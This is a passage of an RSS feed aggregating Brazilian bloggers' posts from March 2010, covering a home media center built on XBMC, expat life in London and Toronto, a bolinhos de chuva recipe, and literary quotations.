	<description>&lt;p&gt;No meu post sobre o &lt;a href=&quot;http://rigues.badcoffee.info/2010/03/01/um-media-center-feito-em-casa/&quot;&gt;Media Center&lt;/a&gt;, reconheci que o hardware que utilizei estava aquém do ideal. Havia pouco espaço em disco (250 GB), o processador não era capaz de decodificar vídeos em HD e faltava um controle remoto.&lt;/p&gt;
&lt;p&gt;E logo &lt;a href=&quot;http://rigues.badcoffee.info/2010/03/01/um-media-center-feito-em-casa/#comment-1669&quot;&gt;no primeiro comentário&lt;/a&gt; aparece o RicBit, nerd lendário e grão-fudeba, e sem querer dá uma de Miyamoto, virando a mesa com o comentário: “eu uso um Mac Mini como Media Center”. Sim, o Mac Mini é uma solução muito melhor. Pra começo de conversa é menor, consome menos energia e faz menos barulho que o Atom Dual que estava usando. Além disso, o processador Intel Core 2 Duo reproduz vídeos em HD na boa, e ele já vem com um controle remoto.&lt;/p&gt;
&lt;p&gt;Pra completar, meu Mac Mini tem um HD de 500 GB à disposição, e os 250 GB do Atom estavam começando a ficar apertados. Então porque não usei o Mac Mini como Media Center? Simples, ele era meu desktop até ontem.&lt;/p&gt;
&lt;p&gt;Era, daí a “virada de mesa”. Reconhecendo as vantagens, fiz uma troca geral na sala. O Mac Mini foi devidamente “faxinado”, seu HD de 500 GB esvaziado (era, pouco, usado para backups) e ele foi parar no rack. O &lt;a href=&quot;http://www.xbmc.org&quot;&gt;software de Media Center&lt;/a&gt; é exatamente o mesmo do Atom, com as mesmíssimas configurações. Até o cliente BitTorrent rodando em segundo plano é o mesmo (Transmission).&lt;/p&gt;
&lt;p&gt;Só mudei o sistema operacional: meu “Media Center 2.0″ agora roda o Snow Leopard, em vez do Ubuntu. Um bônus: o XBMC para Mac já tem suporte nativo ao Apple Remote (o controle remoto que acompanha todos os Macs desktop) e com isso ficou mais cômodo interagir com a máquina. Valeu RicBit!&lt;/p&gt;
&lt;p&gt;E o Atom Dual? Mudou de emprego (pela terceira vez em duas semanas) e veio pra minha mesa como meu desktop. Rodando Ubuntu, claro. Dá conta do recado sem problemas, passei o dia inteiro trabalhando nele e rodando os programas de costume (navegador, IM, e-mail, MP3 Player, editor de imagens) sem reclamações. Só não gosto muito do barulho da ventoinha da fonte, mas nisso se dá um jeito &lt;img src=&quot;http://rigues.badcoffee.info/wordpress/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;</description>
	<pubDate>Thu, 04 Mar 2010 22:03:32 +0000</pubDate>
</item>
<item>
	<title>Sulamita: Almost one year</title>
	<guid>http://sulamita.net/?p=715</guid>
	<link>http://sulamita.net/2010/03/04/almost-one-year/</link>
	<description>&lt;p&gt;So last week I received this letter from my landlord – actually the agency representing my landlord – saying that my contract was due and if I wanted to renew it. Wow, one entire year already? Almost…&lt;/p&gt;
&lt;p&gt;Almost one year later and one visit back to Brazil has made me more sure about my decision, and I can say that’s the happier period of my life. Hector moved in with me, finally, almost four years now. I’m addicted to tea, one in the middle of the day and one decaf before going to bed. I changed my coffee and Coke to decaf and this fixed my insomnia problems. Work is going great, &lt;a href=&quot;http://www.intel.com/pressroom/archive/releases/2010/20100215corp.htm&quot;&gt;interesting times&lt;/a&gt;, and I’m spending most of my time trying to learn C++ and messing around with Qt. My only resolution for this year is to go to the gym 5x a week – which Murphy seems to disagree* – and grow my hair back to its natural colour, just to remember how it is like. I even cut a large piece of it, so damaged it was from all the tints I’ve being applying in the last 15 years. Spring is showing its first colours, and life is really good.&lt;/p&gt;
&lt;p&gt;One year later, the experiences I had were also different.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Health Care&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I finally understood and hacked down the healthy system. You see, &lt;a href=&quot;http://www.nhs.uk/&quot;&gt;NHS&lt;/a&gt;, UK’s health system, is suppose to be one of the best in the world. But I was used to the private system in Sao Paulo, which is really really good. In here I need to go see my GP first for anything, who only spends maximum 10min with me before deciding if s/he’s going to give me some medicine or send me to a specialist. First time I tried, because my fibromyalgia was kicking in, I got a prescription for an anti-inflammatory so strong it almost gave me my gastritis back. So I wasn’t trilled to go back, but I had to. Six months ago, I was trying to skate, and I felt down on my shoulder. I thought it would heal itself, but after that long, I was just tired of waiting. I went to my GP, who said that probably I only needed physiotherapy to get it back on shape. Since I got private insurance, I was able to do it quickly, otherwise it would be several months to get it.&lt;/p&gt;
&lt;p&gt;Unfortunately, physiotherapy was not enough, and after three sessions it became clear I would need stronger resources. But I had to go back to the GP to inform and get a request for a specialist. This was the most frustrating part. First, to find the doctor. Since I was going through the private insurance, the GP didn’t gave me any names, just said to check on the yellow pages or Google. My private insurance company wouldn’t give me any referrals either because they think it’s ‘conflict of interest’, since they pay the specialist. So I found some hospitals online and called in to book an appointment. Going around and around trying to finally get the number for the orthopaedic clinic, extension and whatever to finally try to book a consultation, the first questions is if I have a referral from my GP. Yes, I do! Then the disappointment – your GP needs to send the request, not you. At this point, I started crying, so much frustration, I couldn’t understand the process, I couldn’t understand the accent most people I was trying to contact and they couldn’t understand mine, I was in pain and feeling in a loop without a way out. Then I calmed down and started thinking, I called back to the hospital and when they asked me if I got a referral, I said ‘I have private insurance’. Bingo! Or almost, I would have to wait 3 months to get an appointment. I finally got help when my physiotherapist gave me an indication, and I was able to book an appointment with an Injuries/Sports/Upper Limb(shoulder) Specialist. So far, I still don’t understand the specialities: in Brazil it would be an orthophedist and that’s it. Here they have an osteopath, which I’m not sure where fits, injuries specialists and the orthopaedic surgeon. And let’s not even talk about the health insurance saying the doctor was a physician and not a consultant(?), and could not request exams, which later they seemed to think otherwise. But even so, I managed to get a request and then a shoulder &lt;a href=&quot;http://en.wikipedia.org/wiki/Magnetic_resonance_imaging&quot;&gt;MRI&lt;/a&gt;, then a &lt;a href=&quot;http://en.wikipedia.org/wiki/Cortisone&quot;&gt;cortisone&lt;/a&gt; injection directly to the bursa. You know you’re getting old when your doctor explains to you what is &lt;a href=&quot;http://en.wikipedia.org/wiki/Bursitis&quot;&gt;bursitis&lt;/a&gt;. The injection was horrible, painful and I think got me high, I wasn’t able to make full sentences. The pain was aggravated immediately after the injection, so it was a miserable day where no position would make it better. But some hours later in the evening, I started to feel my shoulder better than before the injection. In the next days, it was getting better and better, and only one week later I’m fully recover. Now doing physiotherapy to strength the muscles around and get a better posture. The trick now is to convince my trainer that this doesn’t mean she can have me lifting weight yet…&lt;/p&gt;
&lt;p&gt;I’m still not sure about the big difference on the systems. To see my GP, I need to make an appointment, and it’s not unusual to have to wait two days for that. In Brazil I would make no appointment and wait for 3hs – literally, I had to do that while I was there during the holidays. Both systems would make me wait for months for physiotherapy, and God know how long for an MRI. Maybe in the case of Brazil it would be years? But health it is really expensive. I received a letter from my insurance company stating the MRI costed 799 pounds, almost 2200 reais. No wonder the system is so difficult anywhere…&lt;/p&gt;
&lt;p&gt;Oh, and I say Murphy disagree with my resolution to go to the gym more often because about 10 days after the holidays, when my body was starting to get back on track fitness-wise, I fell down on the street and hurt my knees badly. So, no gym for almost 3 weeks. After getting my knees better, I still need to go slow on the shoulder. But I’m persistent, I will continue to pursue my resolution. And after being that miserable, you really valuate your joints, so just the fact that I can walk and rotate my arms make me very happy. Let’s dance! \o\ /o/  _o_ |o|&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Clothes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I’m still learning what to dress, and more important, what to buy. Once summer was over and autumn started to kick in, I discovered that I was being very optimistic with my purchases. The heaviest coat I had, a wool full length coat bought in Portland and used only there and about 3x in Brazil, very soon was not enough. Sizes are also tricky. You can’t buy a coat in your size, you need to buy one size extra so you can put a jumper or sweater underneath. And unfortunately for me, my weakest part are my feet, which mean I can’t use my shoes without freezing my toes. Then you start adding layers and layers of leggings, socks, sweaters, wool shirts and coat. Plus gloves, scarf and a hat. But then you enter the bus or train, and half of that goes off immediately. So I started realizing all that effort was mostly to walk one block to the bus station, and one block to work. And even with all this effort, my nose would freeze. Snow was really cool – specially because I only got like four days of it – but makes my tooth hurt if my face isn’t protected. So I had to learn to adjust the layers according to the plan. If I’m going to stay outdoors for some time, it’s better to be very warm. If it’s just a couple of blocks, not so much. Now the trick is to be able to predict exactly how much are you going to be outdoors, I miserably failed to predict that last time I went to &lt;a href=&quot;http://en.wikipedia.org/wiki/Camden_Town&quot;&gt;Camden Town&lt;/a&gt;… but now I found the wonderful world of insulated fleeces, so I’m good. And usually, the amount of coats and layers tell off who is new in town.&lt;/p&gt;
&lt;p&gt;Shoes are also being tricky, because it’s much more random than should be. Supposedly, my size would convert to a size 6. Many shoes here are sold in the European metric, in which case would be 39 for me. But the problem is, almost half of the time, I find that I may be a size 5 or 38. Which is horrible when your favourite shoe store is online…&lt;/p&gt;
&lt;p&gt;I finally accepted the fact that there is no fabric to make trousers proper for winter. I tried the leggings 80 with skirt, and it doesn’t make much difference from a pair of jeans. What clearly distinguish the natives from outsiders is the fact that they don’t need layers. They go bravely with bare legs or just one sweater over the t-shirt.  Show off. I never got the guts to ask if they had any cognac to heat up before going out…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cooking&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You never realise how much vocabulary do you actually need for simple things like shopping. What is basil, exactly? What is celery? How can I cook black beans? And where are the black beans, by the way? Do I like sirloin, rump steak or angus, or should I just stop eating meat? With those prices, it’s a tempting idea. The best thing is that cod, tuna and salmon are cheaper than meat, which I was reducing the intake anyway. And I gotta tell you, sometimes a fresh tuna steak is better than meat.&lt;/p&gt;
&lt;p&gt;I’m even trying some new recipes. I bought my own casserole and did lamb stew, which cooks slowly on the oven for 1:30hs. It was good, but I can do better. It usually takes me three trials to master a recipe. I was so captivated by the movie &lt;a href=&quot;http://www.imdb.com/title/tt1135503/&quot;&gt;Julie &amp;amp; Julia &lt;/a&gt;that I bought the &lt;a href=&quot;http://www.amazon.co.uk/gp/product/0141048417/&quot;&gt;book&lt;/a&gt;, and learned how to make perfect poached eggs. Every week we make something more elaborated, like potato fungi, and it’s a great tradition so far.&lt;/p&gt;
&lt;p&gt;Oh, and for the smart asses there: yes, I know which meat cuts are what, and my favourite is the same: fillet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;News from here outside&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It’s unbelievable the amount of completely irrelevant and utterly embarrassing news Brazilian newspapers choose to publish about Britain. Their favourites are the weirdest possible ’scientific research’, but I would say 90% of the news you read about UK in Brazilian papers are not in the local newspapers. And the worst is that sounds like that was the big news around here. Festivals no one heard about, obscure stores or restaurants, bizarre stories told by some tabloid. Sometimes I think they do that just to make this image that here everything is about this silly issues.&lt;/p&gt;
&lt;p&gt;Which would make sense, because if they publish the real thing, the readers either won’t be interested or they would start comparing with Brazil. For example, one of the biggest discussions of last months was around the parliamentary expenses. But that was only in discussion because everybody has access to what they declare as expenses. Sure, there was many arguments and politicians trying to pretend there was nothing wrong with it, but in the end of the day, contributors have the right to know where their money is being used. Back to Brazil… no need for comments, right?&lt;/p&gt;
&lt;p&gt;Back in the first months I started reading this &lt;a href=&quot;http://oglobo.globo.com/blogs/duarte/&quot;&gt;blog&lt;/a&gt; from this guy living in London, but he was so annoying I couldn’t bear it, always complaining in a very rude way and many times pretending his opinion was shared with everyone living here. And it’s not like I don’t like grumpiness, on the contrary. My favourite TV shows now are &lt;a href=&quot;http://www.grumpieroldmen.co.uk/&quot;&gt;Grumpy Old Men &lt;/a&gt;and &lt;a href=&quot;http://www.comedycentral.co.uk/shows/grouchy-young-men&quot;&gt;Grouchy Young Men&lt;/a&gt;. But there is a difference between being grumpy in a sarcastic intelligent way and being just rude and clueless. So, I’m avoiding reading news about UK in Brazilian press, it just doesn’t worth it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;News of Brazil from here&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That is something that I’m still not over. The Public Relationships team working for this government it’s the best team &lt;em&gt;evah&lt;/em&gt;. I mean, only a week after Rio de Janeiro was announced as the host for the Olympics 2016, drug dealers shot down a military helicopter – and here no one knew it. When I saw the news in Brazilian online newspapers, I though “this is going to be a bomb”. But nothing. Several days later, I couldn’t understand, so I started looking for related news at BBC news website and others, and only found &lt;a href=&quot;http://news.bbc.co.uk/1/hi/world/americas/8312885.stm&quot;&gt;a small note about it&lt;/a&gt;, thrown at some corner with no importance. The visit of &lt;a href=&quot;http://en.wikipedia.org/wiki/Mahmoud_Ahmadinejad&quot;&gt;Iranian president&lt;/a&gt; was another point to understand that. While on the Portuguese news websites Lula was supporting  Mahmoud Ahmadinejad, defending his election – he literally said the protesters were just a political opposition minority, and &lt;a href=&quot;http://oglobo.globo.com/mundo/mat/2009/06/15/lula-diz-que-nao-ha-prova-de-fraude-no-ira-pretende-visitar-pais-756345334.asp&quot;&gt;it was a matter similar to rivalry in football &lt;/a&gt;- and another insanities, outside he was being portrait as someone&lt;a href=&quot;http://news.bbc.co.uk/1/hi/world/americas/8164843.stm&quot;&gt; trying to talk some senses into Ahmadinejad&lt;/a&gt;. I mean, really??? What will take to the world to understand that between Chavez and Lula there isn’t that much of difference? That there is a reason why Lula’s best friends are Chavez, Fidel, and now, Ahmadinejad?&lt;/p&gt;
&lt;p&gt;There are also the comic pieces. The last one was “&lt;a href=&quot;http://www.publico.es/internacional/294142/brasil/pone/impunida/politicos/corruptos&quot;&gt;Brazil ends corruption&lt;/a&gt;“, and people claiming “what an example to follow!”. Oh geez… but then I decided to stop reading Brazilian newspappers. Why would I?&lt;/p&gt;
&lt;p&gt;XoXo, Grouchy Young Woman&lt;/p&gt;
&lt;br /&gt;Filed under: &lt;a href=&quot;http://sulamita.net/category/uncategorized/&quot;&gt;Uncategorized&lt;/a&gt;  &lt;a href=&quot;http://feeds.wordpress.com/1.0/gocomments/sulamita.wordpress.com/715/&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://feeds.wordpress.com/1.0/comments/sulamita.wordpress.com/715/&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.wordpress.com/1.0/godelicious/sulamita.wordpress.com/715/&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://feeds.wordpress.com/1.0/delicious/sulamita.wordpress.com/715/&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.wordpress.com/1.0/gostumble/sulamita.wordpress.com/715/&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://feeds.wordpress.com/1.0/stumble/sulamita.wordpress.com/715/&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.wordpress.com/1.0/godigg/sulamita.wordpress.com/715/&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://feeds.wordpress.com/1.0/digg/sulamita.wordpress.com/715/&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.wordpress.com/1.0/goreddit/sulamita.wordpress.com/715/&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://feeds.wordpress.com/1.0/reddit/sulamita.wordpress.com/715/&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;img src=&quot;http://stats.wordpress.com/b.gif?host=sulamita.net&amp;amp;blog=4386746&amp;amp;post=715&amp;amp;subd=sulamita&amp;amp;ref=&amp;amp;feed=1&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;</description>
	<pubDate>Thu, 04 Mar 2010 12:14:14 +0000</pubDate>
</item>
<item>
	<title>FZero: Chegamos</title>
	<guid>http://grosserias.blog.br/?p=304</guid>
	<link>http://grosserias.blog.br/2010/03/02/chegamos/</link>
	<description>&lt;p&gt;Depois de 1 hora de táxi, quatro de aeroporto, 10 de avião (classe econômica, minhas costas ainda doem) e mais duas no outro aeroporto, chegamos a Toronto — de mala, cuia e gatos.&lt;/p&gt;

&lt;p&gt;Respondendo a uma pergunta freqüente logo de cara: os gatos estão bem, sim. Eles vieram com a gente na cabine (a Air Canada permite) e ficaram bem agitados durante o vôo, mesmo dopados. Eles já tinham passado por uma experiência parecida quando nos mudamos para São Paulo e os levamos de ônibus, mas o  transporte até o aeroporto, &lt;strong&gt;mais&lt;/strong&gt; a espera para o check-in, &lt;strong&gt;mais&lt;/strong&gt; o vôo em si, &lt;strong&gt;mais&lt;/strong&gt; a alfândega/imigração em Toronto aumentaram bastante o stress. Quando tiramos os gatos das bolsas eles demoraram um bom tempo para voltar ao normal, mas agora está tudo bem.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://grosserias.blog.br/wp-content/uploads/2010/03/Photo-on-2010-03-02-at-08.37.jpg&quot; title=&quot;Bjork diz oi.&quot; height=&quot;480&quot; width=&quot;640&quot; alt=&quot;Bjork diz oi.&quot; class=&quot;aligncenter size-full wp-image-305&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Respondendo à &lt;em&gt;segunda&lt;/em&gt; pergunta freqüente: sim, está fazendo frio, mas está bastante suportável, mesmo para meus padrões cariocas. -2ºC sem vento não dói. Claro que estamos no fim do inverno aqui e certamente nós vamos pegar temperaturas piores no futuro, mas a tendência agora é melhorar. Hoje está fazendo um dia bastante bonito, com céu azul e neve no chão.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://grosserias.blog.br/wp-content/uploads/2010/03/Photo-on-2010-03-02-at-17.10.jpg&quot; title=&quot;Vista da janela do B&amp;amp;B&quot; height=&quot;480&quot; width=&quot;640&quot; alt=&quot;Vista da janela do B&amp;amp;B&quot; class=&quot;aligncenter size-full wp-image-308&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Enfim. Aqui é bastante bonito. Tudo bem que eu saí de São Paulo, então rola um contraste forte; mas lembrem-se que passei grande parte da minha vida no Rio de Janeiro — a cidade (teoricamente) maravilhosa. Dizem que Toronto nem é uma das cidades mais bonitas do Canadá. Se for verdade, quero conhecer as outras. Esse pessoal deve estar muito mal acostumado.&lt;/p&gt;

&lt;p&gt;Enquanto não vamos para o apartamento que alugamos estamos num bed &amp;amp; breakfast no mesmo quarteirão, preparando a mudança e esperando o cheiro de tinta melhorar um pouco por lá.&lt;/p&gt;

&lt;p&gt;E por enquanto é isso. É muito pouco tempo para ter impressões mais profundas, mas até agora é #win.&lt;/p&gt;</description>
	<pubDate>Tue, 02 Mar 2010 22:14:51 +0000</pubDate>
</item>
<item>
	<title>Epx: Receita: bolinhos de chuva</title>
	<guid>tag:blogger.com,1999:blog-20994619.post-817627020042817500</guid>
	<link>http://casagrande.epx.com.br/2010/03/receita-bolinhos-de-chuva.html</link>
	<description>Hoje a minha esposa cansou de me ver vadiando, e mandou-me fazer bolinhos de chuva. É um quitute extremamente simples de preparar (até minha mãe sabe fazer!) e as chances de ter todos os ingredientes em casa é de quase 100%. É bem-vindo no café da tarde; por ser quente, é melhor ainda em tardes de chuva e frio. O @marcandre sugeriu botar a receita no blog.&lt;br /&gt;&lt;br /&gt;INGREDIENTES (1 medida)&lt;br /&gt;&lt;br /&gt;1 xícara de trigo&lt;br /&gt;1 ovo&lt;br /&gt;1/2 xícara de leite&lt;br /&gt;3 colheres de açúcar&lt;br /&gt;1 colher de sopa rasa de fermento químico&lt;br /&gt;Banana madura picada (opcional)&lt;br /&gt;Pitada de baunilha a gosto&lt;br /&gt;Óleo para fritar (meio litro para uma panela pequena)&lt;br /&gt;&lt;br /&gt;MODO DE PREPARAR&lt;br /&gt;&lt;br /&gt;Misture os ingredientes. Coloque óleo numa frigideira funda ou panela. Espere esquentar e despeje porções da massa com uma colher no óleo, formando bolinhos não muito grandes. Deve haver óleo suficiente para os bolinhos &quot;nadarem&quot; e virarem sozinhos conforme douram. Retirar quando bem dourados, deixando escorrer num prato com guardanapo ou pano.&lt;br /&gt;&lt;br /&gt;Polvilhe com açúcar e canela, ou deixe um prato com açúcar e canela para cada comensal ir &quot;molhando&quot; os bolinhos dentro.&lt;br /&gt;&lt;br /&gt;Esta medida é suficiente para 3 pessoas elegantes que não vão se entupir de comida. Se tiver 3 gordos escrotos como visita, faça a receita &quot;dobrada&quot; (2 xícaras de trigo, 2 ovos etc.)&lt;br /&gt;&lt;br /&gt;DETALHES NERDS&lt;br /&gt;&lt;br /&gt;Como se pode ver, os ingredientes são os mais comuns e baratos possíveis.&lt;br /&gt;&lt;br /&gt;O segredo do bolinho de chuva é o ovo fresco, de boa qualidade. Se o ovo for velho, os bolinhos absorverão muito óleo, deixando-os extremamente gordurosos. Já me aconteceu de o nível do óleo ir baixando visivelmente na panela, a cada fritada. O mal-estar depois do café denunciou onde tinha ido parar todo aquele óleo...&lt;br /&gt;&lt;br /&gt;É perigoso fritar com pouco óleo e/ou depositar a massa quando o óleo ainda não estiver quente. O bolinho pode grudar no fundo da panela, formando uma bolsa de pressão até &quot;explodir&quot;. O bolinho sai voando, espalhando óleo quente. Aconteceu hoje comigo, portanto é possível :)&lt;br /&gt;&lt;br /&gt;Os bolinhos absorvem pouco calor do óleo. Se o seu fogão for daqueles com uma boca grande e outras pequenas, use o fogo alto de uma boca pequena, do contrário o óleo vai fumacear (e os bolinhos assarão depressa demais, ficando crus por dentro).&lt;br /&gt;&lt;br /&gt;A massa não deve ficar líquida, mas deve estar mais para mole do que para dura. Do contrário, não desce bem da colher na hora de jogar a massa no óleo. Isso fará você pegar bolas maiores de massa; aí os bolinhos ficam muito grandes e com um indesejável &quot;recheio&quot; de massa crua bem no centro.&lt;br /&gt;&lt;br /&gt;A receita acima deixa a massa pouco doce, quase como uma bomba. Se preferir um bolinho mais doce, adicione mais açúcar.&lt;br /&gt;&lt;br /&gt;A banana deve ser bem madura, do contrário o bolinho ficará com aquele gosto de banana verde. Você pode cozinhar a banana, caramelizando-a um pouco, antes de adicionar à massa.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/20994619-817627020042817500?l=casagrande.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Tue, 02 Mar 2010 21:57:46 +0000</pubDate>
</item>
<item>
	<title>Leo Boiko: 2010</title>
	<guid>http://namakajiri.net/diary/?p=630</guid>
	<link>http://namakajiri.net/diary/twothousandten/en/</link>
	<description>&lt;p&gt;Tomorrow: classes.  Tomorrow: I (re-)start the long road to Monbushō.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;In fact, the whole of Japan is a pure invention. There is no such
  country, there are no such people.  The Japanese people are simply a
  mode of style, an exquisite fancy of art.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;—Oscar Wilde (1854–1900)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Still standing for some false, impossible shore.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;—Matthew Arnold (1822–1888)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If asked&lt;br /&gt;
  What is the nature of the tea ceremony&lt;br /&gt;
  Say it’s the sound&lt;br /&gt;
  Of windblown pines&lt;br /&gt;
  In a painting.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;—Sen Sōtan (1578–1658)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If this is so, it might seem that science can be our only salvation
  from unreality.  This is true up to point.  It can indeed save us from
  what is unreal, but cannot give us more than a mechanically correct
  universe in place of phantasy.  It cannot tell us what life is, nor
  can it give it to us more abundantly.  This is the function of poetry,
  but as in the passage from the “Inferno” above-quoted, we have to look
  for poetry, that is, for reality, in the most unlikely places also, in
  the mere sounds of the lines, in the perverse denial of truth, and in
  the impossible desires of human beings, in the tremendous castles of
  intellectual air that they have erected, in the lies and sophistries
  which are only inverted truths.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;—R. H. Blyth (1898–1964)&lt;/p&gt;</description>
	<pubDate>Tue, 02 Mar 2010 20:54:05 +0000</pubDate>
</item>
<item>
	<title>Renata: Welcome to Canada!</title>
	<guid>http://renata.org/?p=1212</guid>
	<link>http://renata.org/post/welcome-to-canada/</link>
	<description>&lt;p&gt;Chegamos. O avião pousou às 5:40, hora de Toronto, e eu levei mais tempo atravessando o aeroporto até o departamento de imigração do que na imigração propriamente dita. Fizeram meia dúzia de perguntas sobre o que eu estava trazendo, se eu ia trazer mais coisas, se eu morava no Canadá ou no Brasil e pronto, valeu e Welcome to Canada (isso sim, me disseram um monte de vezes, uma simpatia inacreditável).&lt;/p&gt;
&lt;p&gt;Ah sim, os gatos. Eu os dopei antes de sair de casa, e no aeroporto. A gata resistiu bravamente ao remédio, e veio bem agitada, mas o gato chapou completamente. Não me pediram documento nenhum nem em Guarulhos, nem em Toronto, e me liberaram para entrar com eles tanto no avião quanto no Canadá sem maiores questionamentos. Tudo muito simples. No entanto eu tinha todos os documentos possíveis e imagináveis para eles. Sabe-se lá o que iriam pedir. &lt;/p&gt;
&lt;p&gt;Estou hospedada hoje num Bed &amp;amp; Breakfast maravilhoso em High Park enquanto eu me situo melhor na cidade. Está fazendo -3 e nevou ontem. Essa temperatura é bem mais agradável do que parece, só minhas mãos que congelam e preciso urgentemente de luvas. Os próximos dias serão dedicados à burocracia inicial, comprar o básico para o apartamento novo, esse tipo de coisa. &lt;/p&gt;
&lt;p&gt;E a aventura continua… &lt;/p&gt;</description>
	<pubDate>Tue, 02 Mar 2010 13:44:49 +0000</pubDate>
</item>
<item>
	<title>Bad Coffee: Um “media center” feito em casa</title>
	<guid>http://rigues.badcoffee.info/?p=777</guid>
	<link>http://rigues.badcoffee.info/2010/03/01/um-media-center-feito-em-casa/</link>
	<description>&lt;p&gt;Como todo bom nerd com anos de internet nas costas, tenho espalhados pela casa vários gigabytes em filmes, séries e músicas, distribuídos em HDs externos, desktops, notebooks, CDs e DVDs. Minha esposa não é diferente. E embora ter uma coleção enorme de mídia sempre à disposição seja algo interessante, a organização estava deixando a desejar.&lt;/p&gt;
&lt;p&gt;Um problema comum era nunca saber exatamente onde estava o arquivo que queríamos assistir. Outro era a duplicidade de conteúdo. E pior ainda era a questão de &lt;em&gt;onde&lt;/em&gt; assistir: nossa TV é capaz de reproduzir arquivos MP3, H.264 e DiVX via USB, mas há restrições quanto ao codec exato, resolução, etc. Vira e mexe passávamos pela experiência frustrante de plugar um HD externo nela, escolher o arquivo e ver a temida mensagem “Formato Inválido!”. Até um de nós voltar para o PC, tentar uma conversão e esperar ela terminar, a vontade de ver um filme passou.&lt;/p&gt;
&lt;p&gt;O PC é uma plataforma muito mais flexível nesse quesito: players como o &lt;a href=&quot;http://www.videolan.org&quot;&gt;VLC&lt;/a&gt;, &lt;a href=&quot;http://mpc-hc.sourceforge.net/&quot;&gt;Media Player Classic&lt;/a&gt; e &lt;a href=&quot;http://www.mplayerhq.hu&quot;&gt;MPlayer&lt;/a&gt; tocam praticamente qualquer coisa que você quiser. O problema é que assistir a um filme ou seriado na tela de 15″ de um notebook ou sentado em frente ao desktop não tem graça, ainda mais quando há uma TV LCD de 32 polegadas dando sopa na sala.&lt;/p&gt;
&lt;p&gt;Foi aí que olhei para o rack, notei a caixa do “&lt;a href=&quot;http://rigues.badcoffee.info/2010/02/03/maquina-de-arcade-gambiarra-i/&quot;&gt;Gambiarra I&lt;/a&gt;” e veio o estalo: opa, ele é um PC e está ligado à TV. E toca filmes. Hmmm… porque não transformá-lo em um Media Center? Munido de algumas xícaras de café, hardware que eu já tinha por aqui e algumas buscas no Google, foi o que fiz.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;more-777&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O hardware&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Para meu projeto, aproveitei o hardware que comprei originalmente para o &lt;a href=&quot;http://rigues.badcoffee.info/2010/01/13/projeto-de-ferias-maquina-de-arcade/&quot;&gt;Arcade&lt;/a&gt;: placa-mãe Pegatron com processador Atom 330 Dual-core, 1 GB de RAM e um HD de 250 GB. Adicionei um &lt;a href=&quot;http://www.pixxo.com.br/pages/gabinetes/ht-8102-e04s.html&quot;&gt;gabinete&lt;/a&gt; Mini-ITX bonitinho (afinal, a máquina vai ficar na sala), um adaptador Wi-Fi USB, mouse e teclado sem fios e pronto!&lt;/p&gt;
&lt;p&gt;Entretanto, de cara dá pra notar que esta configuração está longe do ideal. O processador Atom é fraco demais para decodificar vídeo em alta-definição (mesmo 720p), 250 GB é pouco para quem tem uma coleção razoável de mídia (como descobri meia hora depois de ligar a máquina) e não há saída de som 5.1, nem conexão HDMI o micro e a TV: o som é 2.0 (não tenho caixas de som) e o vídeo usa a entrada VGA da TV. Mas já dá para brincar.&lt;/p&gt;
&lt;p&gt;Se você quiser levar a idéia de media center a sério, vai precisar de algo mais poderoso. Recomendo um processador Intel Core 2 Duo e uma GPU nVidia para ajudar na reprodução de vídeo. Quem se preocupa com consumo de energia e tamanho pode optar por uma placa-mãe baseada na plataforma Ion, da nVidia (Atom + GeForce 8400M), que também dá conta do recado, embora seja difícil de encontrar por aqui.&lt;/p&gt;
&lt;p&gt;1 TB de espaço em disco é o ideal, além de um drive óptico para a reprodução de DVDs. Para controlar seu Media Center, o legal é usar um controle remoto. Há vários modelos compostos por receptor IR USB + controle (como &lt;a href=&quot;http://www.dealextreme.com/details.dx/sku.14380&quot;&gt;este aqui&lt;/a&gt; no DealExtreme), embora eu ainda não tenha testado nenhum deles: aqui em casa no braço do sofá sempre tem, além de um gato dorminhoco, um mouse sem fio.&lt;/p&gt;
